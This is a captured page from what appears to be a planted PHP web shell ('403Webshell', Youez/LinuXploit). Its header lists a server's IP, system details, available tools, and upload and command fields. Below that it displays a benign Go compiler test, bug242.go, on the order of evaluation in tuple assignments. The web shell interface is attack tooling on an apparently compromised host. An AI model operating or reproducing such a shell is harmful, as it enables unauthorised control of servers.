403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/go/test/fixedbugs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/go/test/fixedbugs/bug242.go
// run

// Copyright 2010 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Test order of evaluation in tuple assignments.

package main

var i byte = 0
var a [30]byte

func f() *byte {
	i++
	return &a[i-1]
}
func gbyte() byte {
	i++
	return 'a' + i - 1
}
func gint() byte {
	i++
	return i - 1
}
func x() (byte, byte) {
	i++
	return 'a' + i - 1, 'a' + i - 1
}
func e1(c chan byte, expected byte) chan byte {
	if i != expected {
		println("e1: got", i, "expected", expected)
		panic("fail")
	}
	i++
	return c
}

type Empty interface{}
type I interface {
	Get() byte
}
type S1 struct {
	i byte
}

func (p S1) Get() byte { return p.i }

type S2 struct {
	i byte
}

func e2(p Empty, expected byte) Empty {
	if i != expected {
		println("e2: got", i, "expected", expected)
		panic("fail")
	}
	i++
	return p
}
func e3(p *I, expected byte) *I {
	if i != expected {
		println("e3: got", i, "expected", expected)
		panic("fail")
	}
	i++
	return p
}

func main() {
	for i := range a {
		a[i] = ' '
	}

	// 0     1     2     3        4        5
	*f(), *f(), *f() = gbyte(), gbyte(), gbyte()

	// 6     7     8
	*f(), *f() = x()

	m := make(map[byte]byte)
	m[10] = 'A'
	var p1, p2 bool
	// 9           10
	*f(), p1 = m[gint()]
	// 11          12
	*f(), p2 = m[gint()]
	a[11] += '0'
	if !p1 || p2 {
		println("bad map check", i, p1, p2)
		panic("fail")
	}

	m[13] = 'B'
	//  13        14
	delete(m, gint())
	gbyte()
	if _, present := m[13]; present {
		println("bad map removal")
		panic("fail")
	}

	c := make(chan byte, 1)
	c <- 'C'
	// 15          16
	*f(), p1 = <-e1(c, 16)
	close(c)
	// 17          18
	*f(), p2 = <-e1(c, 18)
	a[17] += '0'
	if !p1 || p2 {
		println("bad chan check", i, p1, p2)
		panic("fail")
	}

	s1 := S1{'D'}
	s2 := S2{'E'}
	var iv I
	// 19                20
	*e3(&iv, 19), p1 = e2(s1, 20).(I)
	// 21                22
	*e3(&iv, 21), p2 = e2(s2, 22).(I)
	if !p1 || p2 {
		println("bad interface check", i, p1, p2)
		panic("fail")
	}

	s := string(a[0:i])
	if s != "def   ii A 0   C 0     " {
		println("bad array results:", s)
		panic("fail")
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit